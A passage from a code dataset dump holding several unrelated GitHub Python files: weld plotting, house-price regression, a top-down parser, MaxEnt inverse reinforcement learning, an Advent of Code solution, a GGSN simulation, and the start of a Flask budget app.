df.groupby(['cut']).max()\n df_new = df_max\n df_new['x'] = df_mean['x']\n df_new['y'] = df_mean['y']\n df_new['z'] = df_mean['z']\n list_distances = get_distances_per_weld(df_new)\n df_new['d'] = list_distances\n\n df_req_a = df_req_a.groupby(['cut']).max()\n df_req_a['x'] = df_mean['x']\n df_req_a['y'] = df_mean['y']\n df_req_a['z'] = df_mean['z']\n df_req_a['d'] = list_distances\n\n df_new = df_new.sort_values(by=['d']).reset_index()\n df_req_a = df_req_a.sort_values(by=['d']).reset_index()\n\n st.pyplot(fig=make_plot_per_weld(df_new, df_req_a, data_to_display, show_req), clear_figure=None,\n use_container_width=True)\n\n elif calc_mode == 'Values along weld':\n n_col = 8\n cols = st.columns(n_col)\n display_cut = []\n for i in range(len(list_of_cuts)):\n with cols[i % n_col]:\n display_cut.append(st.checkbox(f'{list_of_cuts[i]}', key=10 + i, value=True))\n\n list_of_df_req = []\n for df in list_of_df:\n df_req_a = calc_req_a(df, weld)\n list_of_df_req.append(df_req_a)\n\n st.pyplot(fig=make_plot(list_of_df, list_of_df_req, display_cut, data_to_display, show_req), clear_figure=None,\n use_container_width=True)\n\n\n\n##\ndef make_plot_man(df):\n list_lc = df['d'][:].values.tolist()\n count = len(list_lc)\n list_lc_i = range(count)\n\n plt.figure(figsize=(14, 8))\n ax1 = plt.gca()\n ax2 = ax1.twinx()\n ax1.set_ylim(0, 40)\n ax2.set_ylim(0, 1)\n ax1.set_xlim(-1, count)\n\n ax1.xaxis.set_major_locator(MultipleLocator(1))\n ax1.yaxis.set_major_locator(MultipleLocator(5))\n ax1.yaxis.set_minor_locator(MultipleLocator(1))\n ax2.yaxis.set_major_locator(MultipleLocator(0.05))\n ax1.grid(which='major', color='#CCCCCC', linestyle=':')\n ax2.grid(which='major', color='#CCCCCC', linestyle='--')\n ax1.grid(which='minor', color='#CCCCCC', linestyle=':')\n\n width = 0.1\n offset = width * 0\n list = [x + offset for x in list_lc_i]\n ax1.bar(list, df['tpl1'][:], color='blue',\n label=f't welded plate (mm)', width=width)\n offset = width * 1\n list = [x + offset for x in list_lc_i]\n ax1.bar(list, df['tpl2'][:], color='green',\n label=f't receiver plate (mm)', width=width)\n offset = width * 2\n list = [x + offset for x in list_lc_i]\n ax1.bar(list, df['a'][:], color='red',\n label='weld size (mm)', width=width)\n offset = width * 3\n list = [x + offset for x in list_lc_i]\n ax2.bar(list, df['uc (-)'][:], color='black', label='uc (-)', width=width)\n\n ax1.set_xlabel('x (m)')\n ax1.set_ylabel('(mm)')\n ax2.set_ylabel('uc (-)')\n ax1.legend(loc='upper left', framealpha=1, facecolor='white')\n ax2.legend(loc='best', framealpha=1, facecolor='white')\n\n ax1.set_axisbelow(True)\n ax2.set_axisbelow(True)\n\n return plt\n\n","repo_name":"NEY-DPI/Welds","sub_path":"func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":20938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2601959589","text":"import numpy as np\nfrom sklearn import linear_model\nfrom sklearn.metrics import explained_variance_score\nimport pandas as pd\n\nfrom house_eda_jup import price_data_preparation, transform_house_pd\nfrom regression_funcs.regression_plots import create_partial_plots\n\ndef evaluate_linear_model(Xs: pd.DataFrame, y_variable: pd.Series):\n linreg = linear_model.LinearRegression()\n linreg.fit(Xs, y_variable)\n yhat = linreg.predict(Xs)\n exp_var = explained_variance_score(yhat, y_variable)\n\n print(\"Explained var:\", exp_var)\n print(\"RSS:\", np.sum((yhat - y_variable) ** 2))\n print(\"Coeffs:\", linreg.coef_)\n print(\"Intercept:\", linreg.intercept_)\n\n return linreg\n\n\nif __name__ == '__main__':\n df = price_data_preparation('train.csv')\n\n # step: Choosen highest R^2 variables with respect to Y (SalePrice)\n # Chosen without transforms\n primary_vars = ['SalePrice', 'OverallQual', 'GrLivArea', 'GarageCars', 'GarageArea']\n secondary_vars = ['SalePrice', 'TotalBsmtSF', '1stFlrSF', 'FullBath', 'TotRmsAbvGrd', ]\n comb_vars = np.append(primary_vars, secondary_vars[1:])\n\n # step: transform vars to reduce skewness\n old_df = df.copy()\n df = transform_house_pd(df)\n\n # step: testing and training split\n # warn: testing and splitting may not neccessarily yield a better answer\n # mask = np.random.rand(len(df)) < 0.9\n # df_test = df[~mask]\n # df = df[mask]\n\n # step: Linear regression fitting with transforms above\n\n # substep: LR using secondary vars as well as primary vars\n evaluate_linear_model(df[comb_vars].drop(columns=['SalePrice']), df['SalePrice'])\n\n # substep: LR using just the primary variables\n evaluate_linear_model(df[primary_vars].drop(columns=['SalePrice']), df['SalePrice'])\n\n # substep: LR using just the secondary variables\n evaluate_linear_model(df[secondary_vars].drop(columns=['SalePrice']), df['SalePrice'])\n # Do the coeffs line up with the trends we saw earlier?\n\n # substep: LR using primary vars, dropping outliers\n outlier_idxs = create_partial_plots(df[primary_vars], 'SalePrice', drop_rows=None)\n df_no_outliers = df.drop(df.index[outlier_idxs])\n evaluate_linear_model(df_no_outliers[primary_vars].drop(columns=['SalePrice']), df_no_outliers['SalePrice'])\n\n # substep: LR using primary vars, dropping specific outliers correspond to far points in PCA\n df_no_outliers = df.drop(df.index[[1298, 440, 523, 1190, 1061]])\n evaluate_linear_model(df_no_outliers[primary_vars].drop(columns=['SalePrice']), df_no_outliers['SalePrice'])\n\n # substep: LR using all vars, dropping outliers\n outlier_idxs = create_partial_plots(df[comb_vars], 'SalePrice', drop_rows=None)\n df_no_outliers = df.drop(df.index[outlier_idxs])\n evaluate_linear_model(df_no_outliers[comb_vars].drop(columns=['SalePrice']), df_no_outliers['SalePrice'])\n ######################################################################################\n","repo_name":"Irfan-Mu3/ai-ds-projects","sub_path":"regression_analysis/house_price/house_cda_jup.py","file_name":"house_cda_jup.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6797197604","text":"'''\n@Author: wxin\n@Date: 2020-04-13 21:25:51\n@LastEditTime: 2020-05-04 21:27:06\n@LastEditors: Please set LastEditors\n@Description: 实现自顶向下的句法分析算法\n@FilePath: /ToyParser/src/topdown_parser.py\n'''\nfrom parser import Parser\n\nclass TDParser(Parser):\n # 利用自顶向下算法实现parser算法\n def __init__(self):\n super(TDParser, self).__init__()\n\n def parser(self, sentence):\n symbols = ['S'] # 记录目前所产生的符号序列\n used_rels = [] # 记录使用过的生成式左式以及右式的index\n symb_lens = [] # 记录上一次使用生成式时symbols的长度\n cursors = [] # 记录上一次使用生成式时cursor的位置\n cursor = 0\n rel_index = 0 # 生成式的index\n def backtrack():\n nonlocal symbols, used_rels, symb_lens, cursors, cursor, rel_index\n if len(used_rels) == 0:\n print('symbols:', symbols)\n return False\n right_symb, rel_index = used_rels.pop() # used_rels回溯\n symb_len = symb_lens.pop() # symb_lens回溯\n print('symb_len:', symb_len)\n print('symbols:', symbols)\n symbols = symbols[:symb_len-1] + [right_symb] # symbols回溯\n cursor = cursors.pop() # cursors回溯\n print(cursor)\n\n\n while len(symbols) > 0:\n print('symbols:', symbols)\n print('used:', used_rels)\n print('symb_lens:', symb_lens)\n symb = symbols[-1]\n if symb in self.trms:\n if cursor < len(sentence) and symb == sentence[cursor]:\n cursor += 1\n rel_index = 0\n symbols.pop()\n if len(symbols) == 0 and cursor != len(sentence):\n symbols.append(symb)\n backtrack()\n \n else:\n backtrack()\n \n else:\n left_rel = self.realtions[symb]\n if len(left_rel) != rel_index:\n symb_lens.append(len(symbols))\n used_rels.append((symb, rel_index+1))\n cursors.append(cursor)\n symbols.pop()\n for symb in left_rel[rel_index][::-1]:\n symbols.append(symb)\n rel_index = 0\n \n else:\n backtrack()\n\n self.used_rels = used_rels[::-1]\n self.tree = []\n self.tree.append(('S', 0))\n self.dfs('S', 1)\n #return used_rels\n print('self.tree:', self.tree)\n '''\n def to_tree(self, used_rels):\n used_rels = used_rels[::-1]\n self.tree = [('S', 0)]\n index = 0\n while len(self.tree) > index:\n root = self.tree[index][0]\n if root in self.ntrms:\n print(root)\n left, rel_index = used_rels.pop()\n for symb in self.realtions[left][rel_index-1]:\n self.tree.append((symb, index+1))\n index += 1\n\n print('self.tree:', self.tree)\n '''\n def dfs(self, root, root_index):\n left, rel_index = self.used_rels.pop()\n for symb in self.realtions[left][rel_index-1]:\n self.tree.append((symb, root_index))\n if symb in self.ntrms:\n self.dfs(symb, len(self.tree))\n\n\ntd_parser = TDParser()\ntd_parser.parser('aaabbbcc')\ntd_parser.draw()\n","repo_name":"ZERONE00/ToyParser","sub_path":"src/topdown_parser.py","file_name":"topdown_parser.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42219400049","text":"import copy\nfrom timeit import default_timer as timer\n\nimport logging\nimport numpy as np\nimport os\nimport pandas as pd\nfrom typing import Optional, List\n\nfrom model_learning import Trajectory\nfrom model_learning.algorithms import ModelLearningAlgorithm, ModelLearningResult\nfrom model_learning.features.counting import empirical_feature_counts, estimate_feature_counts\nfrom model_learning.features.linear import LinearRewardVector\nfrom model_learning.util.plot import plot_timeseries, plot_bar\nfrom psychsim.agent import Agent\n\n__author__ = 'Pedro Sequeira'\n__email__ = 'pedrodbs@gmail.com'\n\n# stats names\nREWARD_WEIGHTS_STR = 'Weights'\nFEATURE_COUNT_DIFF_STR = 'Feature Count Diff.'\nTHETA_STR = 'Optimal Weight Vector'\nTIME_STR = 'Time'\nLEARN_RATE_STR = 'Learning Rate'\nLEARNING_DECAY = 0.9\n\n\nclass MaxEntRewardLearning(ModelLearningAlgorithm):\n \"\"\"\n An implementation of the maximal causal entropy (MaxEnt) algorithm for IRL in [1].\n It assumes the expert's reward function is a linear combination (weighted sum) of the state features.\n Optimizes the linear parametrization of the rewards (weights) as follows:\n 1. Initialize weights at random\n 2. Perform gradient descent iteratively:\n i. Computes MaxEnt stochastic policy given current reward function (backward pass)\n ii. Compute expected state visitation frequencies from policy and trajectories\n iii. Compute loss as difference between empirical (from trajectories) and expected feature counts\n iv. Update weights given loss\n 3. Learner's reward is given by the best fit between expert's (via trajectories) and learner's expected svf.\n [1] - Ziebart, B. D., Maas, A. L., Bagnell, J. A., & Dey, A. K. (2008). Maximum entropy inverse reinforcement\n learning. In AAAI (Vol. 8, pp. 1433-1438).\n \"\"\"\n\n def __init__(self,\n label: str,\n agent: Agent,\n reward_vector: LinearRewardVector,\n normalize_weights: bool = True,\n learning_rate: float = 0.01,\n decrease_rate: bool = False,\n max_epochs: int = 200,\n diff_threshold: float = 1e-2,\n exact: bool = False,\n num_mc_trajectories=1000,\n prune_threshold: float = 1e-2,\n horizon: int = 2,\n processes: Optional[int] = -1,\n seed: int = 17):\n \"\"\"\n Creates a new Max Entropy algorithm.\n :param str label: the label associated with this algorithm (might be useful for testing purposes).\n :param Agent agent: the agent whose behavior we want to model (the \"expert\").\n :param LinearRewardVector reward_vector: the reward vector containing the features whose weights are going to\n be optimized.\n :param int processes: number of processes to use. `None` indicates all cores available, `1` uses single process.\n :param bool normalize_weights: whether to normalize reward weights at each step of the algorithm.\n :param float learning_rate: the gradient descent learning/update rate.\n :param int max_epochs: the maximum number of gradient descent steps.\n :param float diff_threshold: the termination threshold for the weight vector difference.\n :param bool decrease_rate: whether to exponentially decrease the learning rate over time.\n :param bool exact: whether the computation of the distribution over paths should be exact (expand stochastic\n branches) or not, in which case Monte Carlo sample trajectories will be generated to estimate the feature counts.\n :param int num_mc_trajectories: the number of Monte Carlo trajectories to be samples. Works with `exact=False`.\n :param float prune_threshold: outcomes with a likelihood below this threshold are pruned. `None` means no pruning.\n :param int horizon: the planning horizon used to compute feature counts.\n :param int seed: the seed to initialize the random number generator.\n \"\"\"\n super().__init__(label, agent)\n\n self.reward_vector: LinearRewardVector = reward_vector\n self.processes: int = processes\n self.normalize_weights: bool = normalize_weights\n self.learning_rate: float = learning_rate\n self.max_epochs: int = max_epochs\n self.diff_threshold: float = diff_threshold\n self.decrease_rate: bool = decrease_rate\n self.exact: bool = exact\n self.num_mc_trajectories: int = num_mc_trajectories\n self.prune_threshold: float = prune_threshold\n self.horizon: int = horizon\n self.seed: int = seed\n\n self.num_features: int = len(reward_vector)\n self.theta: np.ndarray = np.ones(self.num_features) / self.num_features\n\n def log_progress(self, e: int, diff: float, learning_rate: float, step_time: float, efc: np.ndarray):\n with np.printoptions(precision=2, suppress=True):\n logging.info(f'Step {e}: diff={diff:.3f}, θ={self.theta}, α={learning_rate:.2f}, '\n f'efc: {efc}, time={step_time:.2f}s')\n\n def learn(self,\n trajectories: List[Trajectory],\n data_id: Optional[str] = None,\n verbose: bool = False) -> ModelLearningResult:\n \"\"\"\n Performs max. entropy model learning by retrieving a PsychSim model containing the reward function approximating\n an expert's behavior as demonstrated through the given trajectories.\n :param list[Trajectory] trajectories: a list of trajectories, each\n containing a list (sequence) of state-action pairs demonstrated by an \"expert\" in the task.\n :param str data_id: an (optional) identifier for the data for which model learning was performed.\n :param bool verbose: whether to show information at each timestep during learning.\n :rtype: ModelLearningResult\n :return: the result of the model learning procedure.\n \"\"\"\n # get empirical feature counts (mean feature path) from trajectories\n feature_func = lambda s: self.reward_vector.get_values(s)\n empirical_fc = empirical_feature_counts(trajectories, feature_func)\n if verbose:\n with np.printoptions(precision=2, suppress=True):\n logging.info(f'Empirical feature counts: {empirical_fc}')\n\n # gets initial states for fc estimation from given trajectories (considered consistent)\n initial_states = [t[0].state for t in trajectories]\n traj_len = len(trajectories[0])\n\n # change and memorize old agent params\n old_rationality = self.agent.getAttribute('rationality', model=self.agent.get_true_model())\n self.agent.setAttribute('rationality', 1.) # MaxEnt IRL modeling criterion\n old_reward = copy.copy(self.agent.getAttribute('R', model=self.agent.get_true_model()))\n\n # 1 - initiates reward weights (uniform)\n self.theta = np.ones(self.num_features) / self.num_features\n\n # 2 - perform gradient descent to optimize reward weights\n diff = np.inf\n e = 0\n step_time = 0\n learning_rate = self.learning_rate\n diffs = [1.] if self.normalize_weights else []\n thetas = [self.theta]\n times = []\n rates = []\n\n expected_fc = np.full_like(empirical_fc, np.nan)\n while diff > self.diff_threshold and e < self.max_epochs:\n if verbose:\n self.log_progress(e, diff, learning_rate, step_time, expected_fc)\n\n start = timer()\n\n # update learning rate\n learning_rate = self.learning_rate\n if self.decrease_rate:\n learning_rate *= np.power(LEARNING_DECAY, e)\n\n self.reward_vector.set_rewards(self.agent, self.theta) # set reward function with new weights\n\n # gets expected feature counts (mean feature path) of using the new reward function\n # by computing the efc using a MaxEnt stochastic policy given the current reward\n # MaxEnt uses a rational agent and we need the distribution over actions if exact\n expected_fc = estimate_feature_counts(\n self.agent, initial_states,\n trajectory_length=traj_len,\n feature_func=feature_func,\n exact=self.exact,\n num_mc_trajectories=self.num_mc_trajectories,\n horizon=self.horizon,\n threshold=self.prune_threshold,\n processes=self.processes,\n seed=self.seed,\n verbose=False, use_tqdm=True)\n\n # gradient descent step, update reward weights\n grad = empirical_fc - expected_fc\n new_theta = self.theta + learning_rate * grad\n if self.normalize_weights:\n new_theta /= np.linalg.norm(new_theta, 1)\n\n step_time = timer() - start\n\n # registers stats\n diff = np.linalg.norm(new_theta - self.theta)\n diffs.append(diff)\n self.theta = new_theta\n thetas.append(self.theta)\n times.append(step_time)\n rates.append(learning_rate)\n e += 1\n\n if verbose:\n self.log_progress(e, diff, learning_rate, step_time, expected_fc)\n logging.info(f'Finished, total time: {sum(times):.2f} secs.')\n\n self.agent.setAttribute('rationality', old_rationality)\n self.agent.setAttribute('R', old_reward)\n\n # returns stats dictionary\n return ModelLearningResult(self.agent.name, data_id, trajectories, {\n FEATURE_COUNT_DIFF_STR: np.array(diffs), # shape (timesteps, )\n REWARD_WEIGHTS_STR: np.array(thetas), # shape (timesteps, n_features)\n THETA_STR: self.theta, # shape (n_features, )\n TIME_STR: np.array(times), # shape (timesteps, )\n LEARN_RATE_STR: np.array(rates) # shape (timesteps, )\n })\n\n def save_results(self, result: ModelLearningResult, output_dir: str, img_format: str):\n \"\"\"\n Saves the several results of a run of the algorithm to the given directory.\n :param ModelLearningResult result: the results of the algorithm run.\n :param str output_dir: the path to the directory in which to save the results.\n :param str img_format: the format of the images to be saved.\n :return:\n \"\"\"\n stats = result.stats\n\n plot_bar(pd.DataFrame(stats[THETA_STR].reshape(1, -1), columns=self.reward_vector.names),\n 'Optimal Weight Vector',\n os.path.join(output_dir, f'learner-theta.{img_format}'),\n x_label='Reward Features', y_label='Weight')\n\n plot_timeseries(pd.DataFrame(stats[FEATURE_COUNT_DIFF_STR].reshape(-1, 1), columns=['diff']),\n 'Evolution of Reward Parameters Difference',\n os.path.join(output_dir, f'evo-rwd-weights-diff.{img_format}'),\n x_label='Epoch', y_label='Abs. Weight Diff.', show_legend=False)\n\n plot_timeseries(pd.DataFrame(stats[REWARD_WEIGHTS_STR], columns=self.reward_vector.names),\n 'Evolution of Reward Parameters',\n os.path.join(output_dir, f'evo-rwd-weights.{img_format}'),\n x_label='Epoch', y_label='Weight', var_label='Reward Feature')\n\n plot_timeseries(pd.DataFrame(stats[TIME_STR].reshape(-1, 1), columns=['time']),\n 'Evolution of Epoch Time',\n os.path.join(output_dir, f'evo-time.{img_format}'),\n x_label='Epoch', y_label='Time (secs.)', show_legend=False)\n\n plot_timeseries(pd.DataFrame(stats[LEARN_RATE_STR].reshape(-1, 1), columns=['learning rate']),\n 'Evolution of Learning Rate',\n os.path.join(output_dir, f'learning-rate.{img_format}'),\n x_label='Epoch', y_label='Learning Rate', show_legend=False)\n","repo_name":"usc-psychsim/model-learning","sub_path":"model_learning/algorithms/max_entropy.py","file_name":"max_entropy.py","file_ext":"py","file_size_in_byte":11996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21337016128","text":"from connexion import connexion\n\nfrom services.installations.installations import Installations\n\ndef allInstallations():\n\tluste_installations = [] #On créer une liste vide\n\n\tdb, curseur = conn.cursor()\n\n\tcursor.execute(\"SELECT InsNum, InsNom, adresse, code_postal, ville, longitude, latitude FROM installations\") #On lance la requête pour récupérer les données de installations\n\tliste_installations = cursor.fetchall() #On met les données dans une variable\n\n\tfor row in liste_installations: #On parcours notre variable \n\t\tinstallations.append(Installations(row[1], row[0], row[7], row[4], row[2], row[9], row[10])) #On ajoute les données dans notre liste_installations\n\t\t\n\tdb.commit()\n\tdb.close()\n\n\t#installation = json.dumps(liste_installations) #On met la liste_activities en format JSON\n\t#print(installation)\n\n\treturn installation #On retourne notre liste","repo_name":"getaway44/projet-technologies-pour-la-production-de-logiciels-","sub_path":"service/installations/InstallationsService.py","file_name":"InstallationsService.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32902482834","text":"import collections\nimport enum\nimport math\n\nimport utils\n\n\nclass Direction(enum.Enum):\n NORTH = (-1, 0)\n SOUTH = (1, 0)\n EAST = (0, 1)\n WEST = (0, -1)\n NORTHWEST = (-1, -1)\n NORTHEAST = (-1, 1)\n SOUTHWEST = (1, -1)\n SOUTHEAST = (1, 1)\n\n\ndef get_input():\n with utils.get_input_fd(__file__) as f:\n return {\n (i, j)\n for i, row in enumerate(f.read().split(\"\\n\"))\n for j, value in enumerate(row)\n if value == \"#\"\n }\n\n\ndef propose_moves(rules, elves):\n proposed_moves = {}\n\n for elf in elves:\n neighboring_tiles = {\n direction: utils.move_in_direction(elf, direction)\n for direction in Direction\n }\n\n if elves.intersection(neighboring_tiles.values()):\n for direction_to_move, directions in rules:\n if all(\n neighboring_tiles[direction] not in elves\n for direction in directions\n ):\n proposed_moves[elf] = utils.move_in_direction(\n elf, direction_to_move\n )\n break\n\n return proposed_moves\n\n\ndef execute_moves(elves, proposed_moves):\n moved_elves = set()\n destinations = collections.defaultdict(list)\n num_elves_moved = 0\n\n for elf, destination in proposed_moves.items():\n destinations[destination].append(elf)\n\n for elf in elves:\n destination = proposed_moves.get(elf)\n if destination and len(destinations[destination]) == 1:\n moved_elves.add(destination)\n num_elves_moved += 1\n else:\n moved_elves.add(elf)\n\n return moved_elves, num_elves_moved\n\n\ndef get_empty_tiles(elves):\n max_x = max(elf[0] for elf in elves)\n min_x = min(elf[0] for elf in elves)\n max_y = max(elf[1] for elf in elves)\n min_y = min(elf[1] for elf in elves)\n\n return (max_x - min_x + 1) * (max_y - min_y + 1) - len(elves)\n\n\ndef spread_out(elves, num_rounds):\n rules = collections.deque(\n [\n (\n Direction.NORTH,\n [Direction.NORTH, Direction.NORTHEAST, Direction.NORTHWEST],\n ),\n (\n Direction.SOUTH,\n [Direction.SOUTH, Direction.SOUTHEAST, Direction.SOUTHWEST],\n ),\n (\n Direction.WEST,\n [Direction.WEST, Direction.SOUTHWEST, Direction.NORTHWEST],\n ),\n (\n Direction.EAST,\n [Direction.EAST, Direction.SOUTHEAST, Direction.NORTHEAST],\n ),\n ]\n )\n\n rounds = 0\n elves_moved = -1\n while rounds != num_rounds and elves_moved != 0:\n proposed_moves = propose_moves(rules, elves)\n elves, elves_moved = execute_moves(elves, proposed_moves)\n rules.rotate(-1)\n rounds += 1\n\n return get_empty_tiles(elves), rounds\n\n\ndef part1():\n elves = get_input()\n empty_ground_tiles, _ = spread_out(elves, 10)\n return empty_ground_tiles\n\n\ndef part2():\n elves = get_input()\n _, num_rounds = spread_out(elves, math.inf)\n return num_rounds\n\n\nif __name__ == \"__main__\":\n print(f\"Part 1: {part1()}\")\n print(f\"Part 2: {part2()}\")\n","repo_name":"vshah505/adventofcode","sub_path":"2022/problem23.py","file_name":"problem23.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8463324419","text":"'''\r\nNumpy concate approach 2\r\n'''\r\nimport numpy as np\r\n\r\n# talking input in string, splitting and converting\r\n# string to integer\r\nn, m, p = map(int, input().split())\r\n\r\n# both list that would be converted to numpy array\r\nL1 = []\r\nL2 = []\r\nfor i in range(n):\r\n a = []\r\n # talking input from user and appending input into list\r\n a = list(int(j) for j in input().split())\r\n L1.append(a) # appending list a to L1 list\r\n\r\n# similar approach with list L2 like list L1 above\r\nfor i in range(m):\r\n a = []\r\n a = list(int(j) for j in input().split())\r\n L2.append(a)\r\n\r\narr1 = np.array(L1)\r\narr2 = np.array(L2)\r\nprint(np.concatenate((arr1, arr2)))\r\n","repo_name":"Raizadaaditya/Atom_Programs","sub_path":"numpy_concate_approach2.py","file_name":"numpy_concate_approach2.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28876776863","text":"import logging\nimport simpy\nimport monitoring\n\nfrom simutil import *\n\nclass DurationBackend:\n def __init__(self, numberOfMaxResources, transientPhaseDuration):\n self.data = numpy.zeros(numberOfMaxResources + 1)\n self.currentTime = 0\n self.transientPhaseDuration = transientPhaseDuration\n\n def append(self, data):\n currentTime, numberOfResourcesInUse, queueLength = data\n if currentTime >= self.transientPhaseDuration:\n duration = currentTime - self.currentTime\n self.currentTime = currentTime\n try:\n self.data[numberOfResourcesInUse] += duration\n except IndexError:\n tmp = numpy.zeros(numberOfResourcesInUse + 1 - len(self.data))\n self.data = numpy.concatenate((self.data, tmp))\n self.data[numberOfResourcesInUse] += duration\n\n\n\n\n\nclass Users():\n def __init__(self, env, ggsn, options):\n self.env = env\n self.logger = logging.getLogger(options.type)\n interarrivalRates = loadHourlyRates('assets/interarrival_rates.csv')\n self.tunnelInterArrivalTimeRV = lambda t: random.expovariate(tunnelInterArrivalRate(interarrivalRates, t))\n self.ggsn = ggsn\n\n self.lastNotification = 0\n self.env.process(self.run())\n\n def run(self):\n while True:\n currentTime = self.env.now\n if (currentTime - self.lastNotification) > 1000:\n print(\"Time: %f\" % self.env.now)\n self.lastNotification = currentTime\n nextArrival = self.tunnelInterArrivalTimeRV(currentTime)\n yield self.env.timeout(nextArrival)\n self.logger.info(\"New tunnel request by user\")\n self.env.process(self.ggsn.process())\n\n\n\nclass Hypervisor():\n instanceStartup = False\n instanceShutdown = False\n\n def __init__(self, ggsn, env, options):\n self.env = env\n self.ggsn = ggsn\n self.logger = logging.getLogger(options.type)\n self.instanceStartupTime = options.startupTime\n self._startupCondition = options.startupCondition(self.ggsn, self, options)\n self.instanceShutdownTime = options.shutdownTime\n self._shutdownCondition = options.shutdownCondition(self.ggsn, self, options)\n\n self.numberOfMaxInstances = options.maxInstanceNumber\n self.instances = simpy.Resource(self.env, capacity = self.numberOfMaxInstances)\n self.instances_monitor = monitoring.resource_monitor(self.instances, DurationBackend(self.numberOfMaxInstances, self.ggsn.transientPhaseDuration))\n self.instances.request() # we need to start with one server already available\n\n def number_of_running_instances(self):\n return self.instances.count\n\n def check_and_increase_capacity(self):\n if not Hypervisor.instanceStartup:\n if self.number_of_running_instances() < self.instances.capacity:\n if self._startupCondition.isMet(getHourOfTheDay(self.env.now)):\n Hypervisor.instanceStartup = True \n yield self.env.timeout(self.instanceStartupTime)\n \n # TODO\n ## sample code with a possible way to threat the blocking tunnel in the instance startup\n #result = yield self.env.timeout(self.instanceStartupTime) | currentTunnelDuration\n # if we only waited tunnel duration time and not the whole instance duration\n #if self.env.timeout(self.instanceStartupTime) not in result:\n # do stuff\n # return remaining tunnel time\n # TODO\n\n req = self.instances.request()\n # yield req\n self.ggsn.tunnels._capacity = self.ggsn.numberOfSupportedParallelTunnels * self.number_of_running_instances()\n self.logger.info(\"Spawning new GGSN instance, now at %d with total capacity %d\", self.number_of_running_instances(), self.ggsn.tunnels._capacity)\n Hypervisor.instanceStartup = False\n else:\n self.logger.info(\"startup_condition: %d, run_inst: %d, tuns: %d, max_t_per_inst: %d\", self._startupCondition.isMet(getHourOfTheDay(self.env.now)), self.number_of_running_instances(), self.ggsn.currentNumberOfTunnels(), self.ggsn.numberOfSupportedParallelTunnels)\n else:\n self.logger.info(\"Instances at max capacity, not spawning another instance.\")\n else:\n self.logger.info(\"Already spawning new GGSN, not spawning another instance.\")\n\n def check_and_reduce_capacity(self):\n if (self.number_of_running_instances() > 1):\n if (not Hypervisor.instanceShutdown):\n if (self._shutdownCondition.isMet(getHourOfTheDay(self.env.now))):\n self.logger.info(\"shutdown_cond: %d run_inst: %d, tuns: %d, max_t_per_inst: %d, \", self._shutdownCondition.isMet(getHourOfTheDay(self.env.now)), self.number_of_running_instances(), self.ggsn.currentNumberOfTunnels(), self.ggsn.numberOfSupportedParallelTunnels)\n Hypervisor.instanceShutdown = True\n yield self.env.timeout(self.instanceShutdownTime)\n self.instances.release(self.instances.users[-1])\n self.ggsn.tunnels._capacity = self.ggsn.numberOfSupportedParallelTunnels * self.number_of_running_instances()\n Hypervisor.instanceShutdown = False\n","repo_name":"fmetzger/ggsn-simulation","sub_path":"simclasses.py","file_name":"simclasses.py","file_ext":"py","file_size_in_byte":5514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"42619661377","text":"from pathlib import Path\nfrom PIL import Image\nfrom tqdm import tqdm\n\nbase_path = Path('all_characters')\n\n\nfor fn in tqdm(list(base_path.glob(\"**/*.png\"))):\n #print(fn)\n\n img = Image.open(fn)\n img = img.convert(\"RGBA\")\n\n pixdata = img.load()\n\n width, height = img.size\n for y in range(height):\n for x in range(width):\n if pixdata[x, y] == (255, 255, 255, 255):\n pixdata[x, y] = (255, 255, 255, 0)\n\n img.save(fn, \"PNG\")\n","repo_name":"interactive-maml/interactive-maml.github.io","sub_path":"public/img/omniglot/remove_bg.py","file_name":"remove_bg.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"73074214492","text":"from app import db, table_builder\nfrom app.main import bp, csv_rw, scheduled_tasks\nfrom app.main.forms import AddBudgetForm, AddBatchBudgetForm, EditBudgetForm, DeleteBudgetForm, \\\n AddTransactionForm, AddBatchTransactionForm, EditTransactionForm, \\\n EditSchedTransactionForm, TransferForm, FundingForm, \\\n DownloadTransactionForm, DownloadBudgetForm\n\nfrom app.models import User, Budget_Category, Budget_History, Transaction, Scheduled_Transaction\n\nfrom datetime import datetime\n\nfrom flask import render_template, flash, redirect, url_for, request, current_app\n# from flask_login import current_user, login_required\nfrom flask_security import current_user, login_required\nfrom io import StringIO\nimport simplejson as json\n\n@bp.route('/', methods=['GET', 'POST'])\n@bp.route('/landing', methods=['GET', 'POST'])\ndef landing():\n return render_template('landing.html',\n title='Landing Page')\n\n###########################################################################################################################\n# Route functions related to handling the budget categories\n###########################################################################################################################\n\n@bp.route('/budget/add', methods=['GET', 'POST'])\n@login_required\ndef budget_add():\n # budget_categories = current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()\n\n form=AddBudgetForm()\n form_batch=AddBatchBudgetForm()\n\n if form.validate_on_submit():\n\n budget_category= Budget_Category(id_user = current_user.id,\n category_title = form.category_title.data.title(),\n spending_category = form.spending_category.data.title(),\n current_balance = form.current_balance.data,\n status='A')\n\n db.session.add(budget_category)\n db.session.commit()\n\n if form.target_period.data == 1:\n annual_budget = form.target_value.data * 26\n elif form.target_period.data == 2:\n annual_budget = form.target_value.data * 12\n else:\n annual_budget = form.target_value.data\n\n budget_history = Budget_History(id_user = current_user.id,\n id_budget_category = budget_category.id,\n start_datetime = datetime.now(),\n status = 'C',\n annual_budget = annual_budget)\n\n db.session.add(budget_history)\n db.session.commit()\n\n flash('Category {} has been added.'.format(budget_category.category_title))\n return redirect(url_for('main.budget_add'))\n\n if form_batch.validate_on_submit():\n try:\n if 